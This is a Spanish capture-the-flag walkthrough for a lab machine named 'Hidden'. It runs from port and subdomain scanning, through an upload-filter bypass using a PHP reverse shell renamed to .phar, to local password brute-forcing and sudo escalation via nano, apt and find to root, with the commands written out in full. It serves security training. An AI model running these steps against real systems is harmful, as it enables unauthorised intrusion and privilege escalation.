Hidden
Última actualización
Última actualización
Vemos que hay conectividad con la máquina y sabemos que es Linux por el TTL, que es 64. Aunque no siempre es fiable.
Usamos la herramienta nmap para el escaneo de puertos.
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -vvv -Pn 172.17.0.2 -oN all
Este comando lo que hace es buscar todos los puertos abiertos (1-65535) (-p-
), lo hace de manera sigilosa (-sS
), busca la versión de los servicios ( -sV
), de manera rápida(--min-rate=5000
), desactiva la resolución DNS para evitar problemas(-n
), utiliza triple verbose para que tengamos más detalle del escaneo (-vvv
)y omite la detección de host(-Pn
). Lo guarda en el fichero all (-oN all
).
Puertos abiertos
Puerto 80 -> HTTP
Como podemos ver, la página no resuelve ya que comprobamos con el reporte de nmap que tiene un dominio llamado hidden.lab. Por los tanto lo añadimos al fichero /etc/hosts.
Ahora si vemos que resuelve bien la página.
Para empezar hago fuzzing para conocer directorios que cuelguen de la raiz pero veo que no hay ninguno relevante por lo que se me ocurre a hacer fuzzing de subdominios con la herramienta wfuzz y encuentro el siguiente.
wfuzz -c --hl=9 -w /usr/share/wordlist/SecLists/Discovery/DNS/subdomain-top1million-110000.txt -H "Host:FUZZ.hidden.lab" -u 172.17.0.3
Y lo volvemos a añadir al fichero /etc/hosts para que pueda resolver bien.
Vemos que podemos subir archivos, pero solo con extensión PDF.
Editamos el archivo y ponemos en la IP, la nuestra, la de Kali Linux, es decir, la atacante, y el puerto que vamos a utilizar, en mi caso, el 443.
Y ahora le cambiamos la extensión e intentamos subirlo. Para cambiar la extensión podemos hacer uso del mv
mv php-reverse-shell.php php-reverse-shell.phar
¡¡ IMPORTANTE !!
Es importante que en la esquina inferior derecha pongais todos los archivos, porque sino, no os saldrá.
Una vez subido, tenemos que saber donde se ha subido, para ello podemos volver a hacer fuzzing con el nuevo subdominio para saber donde se ha subido.
Entramos y vemos que si está ahí subido, entonces ahora hacemos uso del nc para obtener la reverse shell.
Y si se queda cargando significa que la hemos obtenido.
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
export SHELL=bash
export TERM=xterm
stty rows 41 columns 189
Tras intentar buscar binarios con permisos SUID, hacer uso del sudo -l
etc, no encuentro nada y decido hacer ataque de fuerza bruta con usuarios del sistema.
Vemos que existen cafetero, john, bobby.
Subimos un script en bash que hace ataque de fuerza bruta con diccionario, para ello, he acortado el rockyou.txt a 200 palabras ya que no me dejaba subirlo más grande.
head -n 200 rockyou.txt > rockyou_200.txt
Subimos el diccionario.
Subimos el script.
Ahora volvemos a la reverse shell y ejecutamos el script.
Le damos permisos y ejecutamos.
chmod +x Linux-Su-Force.sh
bash Linux-Su-Force.sh cafetero rockyou_200.txt
Ahora entramos como cafetero y vemos que podemos usar con sudo.
Y lo ponemos en práctica.
sudo -u john /usr/bin/nano
^R -> (Ctrl R) ^X -> (Ctrl X
reset; sh 1>&0 2>&0
Vemos que funciona, así que ahora vamos a por el siguiente usuario.
Hacemos uso de la herramienta.
sudo -u bobby /usr/bin/apt changelog apt
!/bin/sh
Probamos el primero...
Ganamos acceso a bobby. Vamos a por el siguiente que ya es root.
Vemos que podemos ejecutar como root el binario find, por lo que buscamos en nuestra herramienta.
sudo -u root /usr/bin/find . -exec /bin/sh -p \; -quit
Y vemos que funciona correctamente.
Ya somos root!!
Busco por Internet extensiones que permitan php y tras probar extensiones encuentro en HackTricks la extensión .
Por lo que puedo usar la herramienta para conseguir una reverse shell.
El script que voy a utilizar es este ->
Hago uso de la herramienta que está basada en la página .